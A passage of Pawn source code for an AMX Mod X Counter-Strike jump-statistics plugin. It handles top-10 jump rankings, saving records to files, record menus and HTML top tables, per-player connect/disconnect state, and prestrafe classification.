				while( !equal( wj_authid[pos], authid ) && pos < NTOP-1 )
					pos++ ;
				for( j = pos; j > i; j-- )
				{
					format( wj_names[j], 32, wj_names[j-1] );
					format( wj_authid[j], 32, wj_authid[j-1] );
					wj_distance[j] = wj_distance[j-1];
					wj_maxspeed[j] = wj_maxspeed[j-1];
					wj_prestrafe[j] = wj_prestrafe[j-1];
					wj_strafes[j] = wj_strafes[j-1];
					wj_sync[j] = wj_sync[j-1];
					format( wj_pretype[j], 31, wj_pretype[j-1] );
				}
				
				format( wj_names[i], 32, name );
				format( wj_authid[i], 32, authid );
				wj_distance[i] = Distance;
				wj_maxspeed[i] = MaxAirSpeed;
				wj_prestrafe[i] = MaxGroundSpeed;
				wj_strafes[i] = strafes;
				wj_sync[i] = sync;
				format( wj_pretype[i], 31, pre_type[id] );
				return (i+1);
			}
			else if( equal( wj_authid[i], authid ) )
				return 0;
		}
	}
	return 0;
}

public check_bjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
	static name[32], authid[32];
	get_user_name( id, name, 31 );
	if( rankby == 1 )
		get_user_authid(id, authid ,31);
	else if( rankby == 2 )
		get_user_ip(id, authid, 31, 1);
	else
		get_user_name(id, authid, 31);
	
	if( Distance > bj_distance[NTOP-1] )
	{
		static i;
		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( Distance > bj_distance[i] )
			{
				static pos, j;
				pos = i;
				j = 0;
				while( !equal( bj_authid[pos], authid ) && pos < NTOP-1 )
					pos++ ;
				for( j = pos; j > i; j-- )
				{
					format( bj_names[j], 32, bj_names[j-1] );
					format( bj_authid[j], 32, bj_authid[j-1] );
					bj_distance[j] = bj_distance[j-1];
					bj_maxspeed[j] = bj_maxspeed[j-1];
					bj_prestrafe[j] = bj_prestrafe[j-1];
					bj_strafes[j] = bj_strafes[j-1];
					bj_sync[j] = bj_sync[j-1];
					format( bj_pretype[j], 31, bj_pretype[j-1] );
				}
				
				format( bj_names[i], 32, name );
				format( bj_authid[i], 32, authid );
				bj_distance[i] = Distance;
				bj_maxspeed[i] = MaxAirSpeed;
				bj_prestrafe[i] = MaxGroundSpeed;
				bj_strafes[i] = strafes;
				bj_sync[i] = sync;
				format( bj_pretype[i], 31, pre_type[id] );
				return (i+1);
			}
			else if( equal( bj_authid[i], authid ) )
				return 0;
		}
	}
	return 0;
}

public check_cjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
	static name[32], authid[32];
	get_user_name( id, name, 31 );
	if( rankby == 1 )
		get_user_authid(id, authid ,31);
	else if( rankby == 2 )
		get_user_ip(id, authid, 31, 1);
	else
		get_user_name(id, authid, 31);
	
	if( Distance > cj_distance[NTOP-1] )
	{
		static i;
		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( Distance > cj_distance[i] )
			{
				static pos, j;
				pos = i;
				j = 0;
				while( !equal( cj_authid[pos], authid ) && pos < NTOP-1 )
					pos++ ;
				for( j = pos; j > i; j-- )
				{
					format( cj_names[j], 32, cj_names[j-1] );
					format( cj_authid[j], 32, cj_authid[j-1] );
					cj_distance[j] = cj_distance[j-1];
					cj_maxspeed[j] = cj_maxspeed[j-1];
					cj_prestrafe[j] = cj_prestrafe[j-1];
					cj_strafes[j] = cj_strafes[j-1];
					cj_sync[j] = cj_sync[j-1];
					format( cj_pretype[j], 31, cj_pretype[j-1] );
				}
				
				format( cj_names[i], 32, name );
				format( cj_authid[i], 32, authid );
				cj_distance[i] = Distance;
				cj_maxspeed[i] = MaxAirSpeed;
				cj_prestrafe[i] = MaxGroundSpeed;
				cj_strafes[i] = strafes;
				cj_sync[i] = sync;
				format( cj_pretype[i], 31, pre_type[id] );
				return (i+1);
				
			}
			else if( equal( cj_authid[i], authid ) )
				return 0;
		}
	}
	return 0;
}

public check_ljtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
	static name[32], authid[32];
	get_user_name( id, name, 31 );
	if( rankby == 1 )
		get_user_authid(id, authid ,31);
	else if( rankby == 2 )
		get_user_ip(id, authid, 31, 1);
	else
		get_user_name(id, authid, 31);
	
	if( Distance > lj_distance[NTOP-1] )
	{
		static i;
		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( Distance > lj_distance[i] )
			{
				static pos, j;
				pos = i;
				j = 0;
				while( !equal( lj_authid[pos], authid ) && pos < NTOP-1 )
					pos++ ;
				for( j = pos; j > i; j-- )
				{
					format( lj_names[j], 32, lj_names[j-1] );
					format( lj_authid[j], 32, lj_authid[j-1] );
					lj_distance[j] = lj_distance[j-1];
					lj_maxspeed[j] = lj_maxspeed[j-1];
					lj_prestrafe[j] = lj_prestrafe[j-1];
					lj_strafes[j] = lj_strafes[j-1];
					lj_sync[j] = lj_sync[j-1];
					format( lj_pretype[j], 31, lj_pretype[j-1] );
				}
				
				format( lj_names[i], 32, name );
				format( lj_authid[i], 32, authid );
				lj_distance[i] = Distance;
				lj_maxspeed[i] = MaxAirSpeed;
				lj_prestrafe[i] = MaxGroundSpeed;
				lj_strafes[i] = strafes;
				lj_sync[i] = sync;
				format( lj_pretype[i], 31, pre_type[id] );
				return (i+1);
				
			}
			else if( equal( lj_authid[i], authid ) )
				return 0;
		}
	}
	return 0;
}

public save_tops(_top)
{
	static i, distance[12], maxspeed[12], prestrafe[12], strafes[6], sync[6];

	if (_top == TOP_LJ)
	{
		static lj_filename[128];

		format(lj_filename, 127, "%s/Top10_lj.dat", ljsDir);

		if( file_exists(lj_filename) )
			delete_file(lj_filename);

		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( lj_distance[i] )
			{
				num_to_str(lj_distance[i], distance, 11);
				num_to_str(lj_maxspeed[i], maxspeed, 11);
				num_to_str(lj_prestrafe[i], prestrafe, 11);
				num_to_str(lj_strafes[i], strafes, 5);
				num_to_str(lj_sync[i], sync, 5);
				write_file(lj_filename, lj_names[i]);
				write_file(lj_filename, lj_authid[i]);
				write_file(lj_filename, distance);
				write_file(lj_filename, maxspeed);
				write_file(lj_filename, prestrafe);
				write_file(lj_filename, strafes);
				write_file(lj_filename, sync);
				write_file(lj_filename, lj_pretype[i]);
			}
		}
	}
	else if (_top == TOP_CJ)
	{
		static cj_filename[128];

		format(cj_filename, 127, "%s/Top10_cj.dat", ljsDir);

		if( file_exists(cj_filename) )
			delete_file(cj_filename);

		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( cj_distance[i] )
			{
				num_to_str(cj_distance[i], distance, 11);
				num_to_str(cj_maxspeed[i], maxspeed, 11);
				num_to_str(cj_prestrafe[i], prestrafe, 11);
				num_to_str(cj_strafes[i], strafes, 5);
				num_to_str(cj_sync[i], sync, 5);
				write_file(cj_filename, cj_names[i]);
				write_file(cj_filename, cj_authid[i]);
				write_file(cj_filename, distance);
				write_file(cj_filename, maxspeed);
				write_file(cj_filename, prestrafe);
				write_file(cj_filename, strafes);
				write_file(cj_filename, sync);
				write_file(cj_filename, cj_pretype[i]);
			}
		}

	}
	else if (_top == TOP_WJ)
	{
		static wj_filename[128];

		format(wj_filename, 127, "%s/Top10_wj.dat", ljsDir);

		if( file_exists(wj_filename) )
			delete_file(wj_filename);

		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( wj_distance[i] )
			{
				num_to_str(wj_distance[i], distance, 11);
				num_to_str(wj_maxspeed[i], maxspeed, 11);
				num_to_str(wj_prestrafe[i], prestrafe, 11);
				num_to_str(wj_strafes[i], strafes, 5);
				num_to_str(wj_sync[i], sync, 5);
				write_file(wj_filename, wj_names[i]);
				write_file(wj_filename, wj_authid[i]);
				write_file(wj_filename, distance);
				write_file(wj_filename, maxspeed);
				write_file(wj_filename, prestrafe);
				write_file(wj_filename, strafes);
				write_file(wj_filename, sync);
				write_file(wj_filename, wj_pretype[i]);
			}
		}

	}
	else if (_top == TOP_BJ)
	{
		static bj_filename[128];

		format(bj_filename, 127, "%s/Top10_bj.dat", ljsDir);

		if( file_exists(bj_filename) )
			delete_file(bj_filename);

		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( bj_distance[i] )
			{
				num_to_str(bj_distance[i], distance, 11);
				num_to_str(bj_maxspeed[i], maxspeed, 11);
				num_to_str(bj_prestrafe[i], prestrafe, 11);
				num_to_str(bj_strafes[i], strafes, 5);
				num_to_str(bj_sync[i], sync, 5);
				write_file(bj_filename, bj_names[i]);
				write_file(bj_filename, bj_authid[i]);
				write_file(bj_filename, distance);
				write_file(bj_filename, maxspeed);
				write_file(bj_filename, prestrafe);
				write_file(bj_filename, strafes);
				write_file(bj_filename, sync);
				write_file(bj_filename, bj_pretype[i]);
			}
		}
	}
	else if (_top == TOP_SBJ)
	{
		static sbj_filename[128];

		format(sbj_filename, 127, "%s/Top10_sbj.dat", ljsDir);

		if( file_exists(sbj_filename) )  
			delete_file(sbj_filename);

		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( sbj_distance[i] )
			{
				num_to_str(sbj_distance[i], distance, 11);
				num_to_str(sbj_maxspeed[i], maxspeed, 11);
				num_to_str(sbj_prestrafe[i], prestrafe, 11);
				num_to_str(sbj_strafes[i], strafes, 5);
				num_to_str(sbj_sync[i], sync, 5);
				write_file(sbj_filename, sbj_names[i]);
				write_file(sbj_filename, sbj_authid[i]);
				write_file(sbj_filename, distance);
				write_file(sbj_filename, maxspeed);
				write_file(sbj_filename, prestrafe);
				write_file(sbj_filename, strafes);
				write_file(sbj_filename, sync);
				write_file(sbj_filename, sbj_pretype[i]);
			}
		}
	}
}

public show_leet_ljumper(id)
{
	new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
	new ljtop_cvar = get_pcvar_num(kz_ljs_tops);
	if( plugin_cvar && (ljtop_cvar == 2 || ljtop_cvar == 3) )
	{
		new MenuBody[512], len, keys;
		len = format(MenuBody, 511, "\yShow best longjumper^n");

		if( map_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r1. \wMap record");
			keys = (1<<0);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r1. \dMap record (no jumps)");
			
		if( lj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r2. \wLongJump record");
			keys |= (1<<1);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r2. \dLongJump record (no ljs)");
			
		if( cj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r3. \wContJump record");
			keys |= (1<<2);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r3. \dContJump record (no cjs)");

		if( bj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r4. \wBhopJump record");
			keys |= (1<<3);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r4. \dBhopJump record (no bjs)");

		if( sbj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r5. \wStand-up BhopJump record");
			keys |= (1<<4);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r5. \dStand-up BhopJump record (no sbjs)");

		if( wj_distance[0] )
		{
			len += format(MenuBody[len], 511-len, "^n\r6. \wWeirdJump record");
			keys |= (1<<5);
		}
		else
			len += format(MenuBody[len], 511-len, "^n\r6. \dWeirdJump record (no wjs)");
			
		len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
		keys |= (1<<9);
			
		show_menu(id, keys, MenuBody, -1, "Show best longjumper");
	}
	else if( !plugin_cvar )
		client_print(id, print_chat, "[XJ] Records are not valid. Plugin is disabled.");
	else
		client_print(id, print_chat, "[XJ] Records are not valid. Tops are disabled.");
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public LeetJumpMenu_Select(id, key)
{
	new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
	new ljtops = get_pcvar_num(kz_ljs_tops);

	if( ljtops == 2 || ljtops == 3 )
		ljtops = 1;
	else
		ljtops = 0;

	switch((key+1))
	{
		case 1:
		{
			if( map_distance[0] && ljtops && plugin_cvar )
				client_print(id, print_chat, "[XJ] %s has the total %d.%06d %s record!", map_names[0], map_distance[0]/1000000, map_distance[0]%1000000, map_type[0]);
			else if( !plugin_cvar )
				client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
			else if( !ljtops )
				client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
			else
				client_print(id, print_chat, "[XJ] Records are not valid. Tops have been reseted.");
		}
		case 2:
		{
			if( lj_distance[0] && ljtops && plugin_cvar )
				client_print(id, print_chat, "[XJ] %s has the %d.%06d lj record!", lj_names[0], lj_distance[0]/1000000, lj_distance[0]%1000000);
			else if( !plugin_cvar )
				client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
			else if( !ljtops )
				client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
			else
				client_print(id, print_chat, "[XJ] Lj records are not valid. Tops have been reseted.");
		}
		case 3:
		{
			if( cj_distance[0] && ljtops && plugin_cvar )
				client_print(id, print_chat, "[XJ] %s has the %d.%06d cj record!", cj_names[0], cj_distance[0]/1000000, cj_distance[0]%1000000);
			else if( !plugin_cvar )
				client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
			else if( !ljtops )
				client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
			else
				client_print(id, print_chat, "[XJ] Cj records are not valid. Tops have been reseted.");
		}
		case 4:
		{
			if( bj_distance[0] && ljtops && plugin_cvar )
				client_print(id, print_chat, "[XJ] %s has the %d.%06d bj record!", bj_names[0], bj_distance[0]/1000000, bj_distance[0]%1000000);
			else if( !plugin_cvar )
				client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
			else if( !ljtops )
				client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
			else
				client_print(id, print_chat, "[XJ] Bj records are not valid. Tops have been reseted.");
		}
		case 5:
		{
			if( sbj_distance[0] && ljtops && plugin_cvar )
				client_print(id, print_chat, "[XJ] %s has the %d.%06d sbj record!", sbj_names[0], sbj_distance[0]/1000000, sbj_distance[0]%1000000);
			else if( !plugin_cvar )
				client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
			else if( !ljtops )
				client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
			else
				client_print(id, print_chat, "[XJ] Sbj records are not valid. Tops have been reseted.");
		}
		case 6:
		{
			if( wj_distance[0] && ljtops && plugin_cvar )
				client_print(id, print_chat, "[XJ] %s has the %d.%06d wj record!", wj_names[0], wj_distance[0]/1000000, wj_distance[0]%1000000);
			else if( !plugin_cvar )
				client_print(id, print_chat, "[XJ] Records are not valid. Plugin has been disabled.");
			else if( !ljtops )
				client_print(id, print_chat, "[XJ] Records are not valid. Tops have been disabled.");
			else
				client_print(id, print_chat, "[XJ] Wj records are not valid. Tops have been reseted.");
		}
	}
	return PLUGIN_HANDLED;
}

public show_top(id, toptype)
{
	static buffer[2368], name[131], len, i;
	
	len = format(buffer, 2367, "<body bgcolor=#94AEC6><table width=100%% cellpadding=2 cellspacing=0 border=0>");
	if( !toptype )
		len += format(buffer[len], 2367-len, "<tr  align=center bgcolor=#52697B><th width=5%%> # <th width=34%% align=left> Name <th width=10%%> Distance <th  width=10%%> MaxSpeed <th  width=11%%> PreStrafe <th  width=9%%> Strafes <th  width=6%%> Sync <th  width=10%%> Type");
	else
		len += format(buffer[len], 2367-len, "<tr  align=center bgcolor=#52697B><th width=5%%> # <th width=34%% align=left> Name <th width=10%%> Distance <th  width=10%%> MaxSpeed <th  width=11%%> PreStrafe <th  width=9%%> Strafes <th  width=6%%> Sync");
	
	if( toptype == TOP_WJ)
	{
		for( i = INFO_ZERO; i < NSHOW; i++ )
		{		
			if( wj_distance[i] == 0 )
			{
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
				i=NSHOW;
			}
			else
			{
				name = wj_names[i];
				while( containi(name, "<") != -1 )
					replace(name, 129, "<", "&lt;");
				while( containi(name, ">") != -1 )
					replace(name, 129, ">", "&gt;");
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (wj_distance[i]/1000000), (wj_distance[i]%1000000/100000), (wj_maxspeed[i]/1000000), (wj_maxspeed[i]%1000000/100000), (wj_prestrafe[i]/1000000), (wj_prestrafe[i]%1000000/100000), wj_strafes[i], wj_sync[i]);
			}
		}
	}
	else if( toptype == TOP_SBJ)
	{
		for( i = INFO_ZERO; i < NSHOW; i++ )
		{		
			if( sbj_distance[i] == 0 )
			{
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
				i=NSHOW;
			}
			else
			{
				name = sbj_names[i];
				while( containi(name, "<") != -1 )
					replace(name, 129, "<", "&lt;");
				while( containi(name, ">") != -1 )
					replace(name, 129, ">", "&gt;");
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (sbj_distance[i]/1000000), (sbj_distance[i]%1000000/100000), (sbj_maxspeed[i]/1000000), (sbj_maxspeed[i]%1000000/100000), (sbj_prestrafe[i]/1000000), (sbj_prestrafe[i]%1000000/100000), sbj_strafes[i], sbj_sync[i]);
			}
		}
	}
	else if( toptype == TOP_BJ)
	{
		for( i = INFO_ZERO; i < NSHOW; i++ )
		{		
			if( bj_distance[i] == 0 )
			{
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
				i=NSHOW;
			}
			else
			{
				name = bj_names[i];
				while( containi(name, "<") != -1 )
					replace(name, 129, "<", "&lt;");
				while( containi(name, ">") != -1 )
					replace(name, 129, ">", "&gt;");
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (bj_distance[i]/1000000), (bj_distance[i]%1000000/100000), (bj_maxspeed[i]/1000000), (bj_maxspeed[i]%1000000/100000), (bj_prestrafe[i]/1000000), (bj_prestrafe[i]%1000000/100000), bj_strafes[i], bj_sync[i]);
			}
		}
	}
	else if( toptype == TOP_CJ)
	{
		for( i = INFO_ZERO; i < NSHOW; i++ )
		{		
			if( cj_distance[i] == 0 )
			{
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
				i=NSHOW;
			}
			else
			{
				name = cj_names[i];
				while( containi(name, "<") != -1 )
					replace(name, 129, "<", "&lt;");
				while( containi(name, ">") != -1 )
					replace(name, 129, ">", "&gt;");
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (cj_distance[i]/1000000), (cj_distance[i]%1000000/100000), (cj_maxspeed[i]/1000000), (cj_maxspeed[i]%1000000/100000), (cj_prestrafe[i]/1000000), (cj_prestrafe[i]%1000000/100000), cj_strafes[i], cj_sync[i]);
			}
		}
	}
	else if( toptype == TOP_LJ)
	{
		for( i = INFO_ZERO; i < NSHOW; i++ )
		{		
			if( lj_distance[i] == 0 )
			{
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-");
				i=NSHOW;
			}
			else
			{
				name = lj_names[i];
				while( containi(name, "<") != -1 )
					replace(name, 129, "<", "&lt;");
				while( containi(name, ">") != -1 )
					replace(name, 129, ">", "&gt;");
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d.%01d <td> %d.%01d <td> %d.%01d <td> %d <td> %d", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (lj_distance[i]/1000000), (lj_distance[i]%1000000/100000), (lj_maxspeed[i]/1000000), (lj_maxspeed[i]%1000000/100000), (lj_prestrafe[i]/1000000), (lj_prestrafe[i]%1000000/100000), lj_strafes[i], lj_sync[i]);
			}
		}
	}
	else if( toptype == TOP_MAP)
	{
		for( i = INFO_ZERO; i < NSHOW; i++ )
		{		
			if( map_distance[i] == 0 )
			{
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %s <td> %s <td> %s <td> %s <td> %s <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-", "-", "-", "-", "-", "-");
				i=NSHOW;
			}
			else
			{
				name = map_names[i];
				while( containi(name, "<") != -1 )
					replace(name, 129, "<", "&lt;");
				while( containi(name, ">") != -1 )
					replace(name, 129, ">", "&gt;");
				len += format(buffer[len], 2367-len, "<tr align=center%s><td> %d <td align=left> %s <td> %d <td> %d <td> %d <td> %d <td> %d <td> %s", ((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), name, (map_distance[i]/1000000), (map_maxspeed[i]/1000000), (map_prestrafe[i]/1000000), map_strafes[i], map_sync[i], map_type[i]);
			}
		}
	}
		
	len += format(buffer[len], 2367-len, "</table></body>");
	static strin[20];

        if( toptype == TOP_WJ)
		format(strin,19, "Top %d WeirdJumps", NSHOW); //TODO: remove bug or todo better message
	else if( toptype == TOP_SBJ)
		format(strin,19, "Top %d S-BhopJumps", NSHOW); //TODO: remove bug or todo better message
	else if( toptype == TOP_BJ)
		format(strin,19, "Top %d BhopJumps", NSHOW);
	else if( toptype == TOP_CJ)
		format(strin,19, "Top %d CountJumps", NSHOW);
	else if( toptype == TOP_LJ)
		format(strin,19, "Top %d LongJumps", NSHOW);
	else if( toptype == TOP_MAP)
		format(strin,19, "Top %d Map Jumps", NSHOW);
        show_motd(id, buffer, strin);
}
public gocheckBoth(id)
{
	gocheck(id);
	gocheckbhop(id);
}
public gocheck(id)
{
	gInAir[id] = false;
	cjumped[id] = false;
	doubleducked[id] = false;
	jumptype[id] = TYPE_NONE;
}

public gocheckbhop(id)
{
	isBhop[id] = false;
	testBhop[id] = false;
	fMaxAirSpeed[id] = 0.0; //prevent 1 bug
	fMaxGroundSpeed[id] = 250.0;
	jumptype[id] = TYPE_NONE;
}

public ddend(id)
	doubleducked[id] = false;

public testcjstart(id)
	cducked[id] = false;

public client_putinserver(id)
{
	if( task_exists(id+234490, 0) )
		remove_task(id+234490, 0);
	
	set_task(0.1, "check_prestrafe_type", id+234490, "", 0, "b", 0);
	
	static connectenabler[6], fastserver;
	fastserver = get_pcvar_num(kz_ljs_fastserver);
	get_pcvar_string(kz_ljs_connectenabler, connectenabler, 5);
	format(connectenabler, 5, "_%s", connectenabler);

	if( contain(connectenabler, "a") > 0 )
		gHasColorChat[id] = true;
	else
		gHasColorChat[id] = false;
	if( contain(connectenabler, "b") > 0 )
		gHasLjStats[id] = true;
	else
		gHasLjStats[id] = false;
	if( contain(connectenabler, "c") > 0 )
	{
		gHasSpeed[id] = true;
		if( fastserver == 1 )
			set_task(0.1, "tskSpeed", id+334490, "", 0, "b", 0);
		else if( fastserver != 2 )
			set_task(0.5, "tskSpeed", id+334490, "", 0, "b", 0);
	}
	else
		gHasSpeed[id] = false;
//	if (get_pcvar_num(kz_ljs_beam) > 0)
//		bljbeam[id] = true;
//	else

	bljbeam[id] = false;

#if defined COMMAND_PROTECTION
	if( fastserver == 2 )
		set_task(0.5, "tskFps", id+434490, "", 0, "b", 0);
	else
		set_task(1.0, "tskFps", id+434490, "", 0, "b", 0);
#endif	
	StrafeStat[id] = true;
	bljhelp[id] = false;
	turning_right[id] = false;
	turning_left[id] = false;
	strafing_aw[id] = false;
	strafing_sd[id] = false;
	cducked[id] = false;
	cjumped[id] = false;
	doubleducked[id]=false;
	induck[id] = false;
	OnGround[id] = false;
	possible_lj_script[id][0] = false;
	possible_lj_script[id][1] = false;
	isBhop[id] = false;
	testBhop[id] = false;
	vFallAt[id][0] = 0.0;
	vFallAt[id][1] = 0.0;
	vFallAt[id][2] = 0.0;
}

public client_disconnect(id)
{
	if( task_exists(id+234490, 0) )
		remove_task(id+234490, 0);
	
	StrafeStat[id] = true;
	bljhelp[id] = false;
	gHasColorChat[id] = false;
	gHasLjStats[id] = false;
	gHasSpeed[id] = false;
	turning_right[id] = false;
	turning_left[id] = false;
	strafing_aw[id] = false;
	strafing_sd[id] = false;
	OnGround[id] = false;
	cducked[id] = false;
	doubleducked[id] = false;
	cjumped[id] = false;
	induck[id] = false;
	possible_lj_script[id][0] = false;
	possible_lj_script[id][1] = false;
	isBhop[id] = false;
	testBhop[id] = false;

	
	if( task_exists(id+334490, 0) )
		remove_task(id+334490, 0);
	
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
}

public check_prestrafe_type(id)
{
	id -= 234490;
	if( is_user_alive(id) )
	{
		static flags, buttons, moving;
		flags = pev(id, pev_flags);
		buttons = pev(id, pev_button);
		
		/*if( flags&FL_ONGROUND && gInAir[id] && get_gametime() > (jumptime[id]+0.1) )
		{	
			new Float:vvvOrigin[3];
			pev(id, pev_origin, vvvOrigin);

			client_print(id, print_console, "prizemlils v check_prestrafe_type, %f %f %f", vvvOrigin[0],vvvOrigin[1],vvvOrigin[2]);			
			fwdPlayerPreThink(id);
		}*/
		
		if( (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) && !(buttons&IN_DUCK) )
			moving = INFO_ONE;
		else
			moving = INFO_ZERO;
		
		if( moving && !(doubleducked[id]) && !(cjumped[id]) && flags&FL_ONGROUND && (turning_right[id] || turning_left[id]) )
		{
			if( buttons&IN_FORWARD && buttons&IN_BACK )
				moving = INFO_ZERO;
			
			if( buttons&IN_MOVELEFT && buttons&IN_MOVERIGHT )
				moving = INFO_ZERO;
			
			if( !(moving) )
				pre_type[id] = "key error";
		}
		else
		{
			moving = 0;
		}
		
		if( moving )
		{
			if( buttons&IN_FORWARD )
			{
				if( buttons&IN_MOVERIGHT )
				{
					if( turning_right[id] )
						pre_type[id] = "right";
					else
						pre_type[id] = "right sw";
				}
				else if( buttons&IN_MOVELEFT )
				{
					if( turning_left[id] )
						pre_type[id] = "left";
					else
						pre_type[id] = "left sw";
				}
				else
				{
					if( turning_right[id] )
						pre_type[id] = "right (1 key)";
					else
						pre_type[id] = "left (1 key)";
				}
			}
			else if( buttons&IN_BACK )
			{
				if( buttons&IN_MOVERIGHT )
				{
					if( turning_left[id] )
						pre_type[id] = "bw right";
					else
						pre_type[id] = "bw right sw";
				}
				else if( buttons&IN_MOVELEFT )
				{
					if( turning_right[id] )
						pre_type[id] = "bw left";
					else
						pre_type[id] = "bw left sw";
				}
				else
				{
					if( turning_left[id] )
						pre_type[id] = "bw right (1 key)";
					else
						pre_type[id] = "bw left (1 key)";
				}
			}
			else if( buttons&IN_MOVERIGHT )
			{
				if( turning_right[id] )
					pre_type[id] = "bw right sw (1 key)";
				else
					pre_type[id] = "left sw (1 key)";
			}
			else if( buttons&IN_MOVELEFT )
			{
				if( turning_left[id] )
					pre_type[id] = "bw left sw (1 key)";
				else
					pre_type[id] = "right sw (1 key)";
			}
			else
				pre_type[id] = "unknown error";
		}
	}				
}

#if defined COMMAND_PROTECTION
public tskFps(id)
{
	if( get_pcvar_num(kz_legal_settings) && get_pcvar_num(kz_ljs_enabled) )
	{
		id-=434490;
		client_cmd(id, "developer 0;fps_max 101;cl_forwardspeed 400;cl_sidespeed 400;cl_backspeed 400");
	}
}
#endif	

public cmdColorChat(id)
{
	if( get_pcvar_num(kz_ljs_enabled) && !gHasColorChat[id] )
	{
		gHasColorChat[id] = true;
		client_print(id, print_chat, "[XJ] ColorChat enabled. To disable, type /colorchat.");
	}
	else if( get_pcvar_num(kz_ljs_enabled) )
	{
		gHasColorChat[id] = false;
		client_print(id, print_chat, "[XJ] ColorChat disabled. To enable, type /colorchat.");
	}
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public cmdLjStats(id)
{
	if( get_pcvar_num(kz_ljs_enabled) && !gHasLjStats[id] )
	{
		gHasLjStats[id] = true;
		
		client_print(id, print_chat, "[XJ] LongJump Stats enabled. To disable, type /ljstats.");
	}
	else if( get_pcvar_num(kz_ljs_enabled) )
	{
		gHasLjStats[id] = false;
		
		client_print(id, print_chat, "[XJ] LongJump Stats disabled. To enable, type /ljstats.");
	}
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public cmdSpeed(id)
{
	if( get_pcvar_num(kz_ljs_enabled) && !gHasSpeed[id] )
	{
		gHasSpeed[id] = true;
		if( get_pcvar_num(kz_ljs_fastserver) == 1 )
			set_task(0.1, "tskSpeed", id+334490, "", 0, "b", 0);
		else if( get_pcvar_num(kz_ljs_fastserver) != 2 )
			set_task(0.5, "tskSpeed", id+334490, "", 0, "b", 0);
		client_print(id, print_chat, "[XJ] Speedometer enabled. To disable, type /speed.");
	}
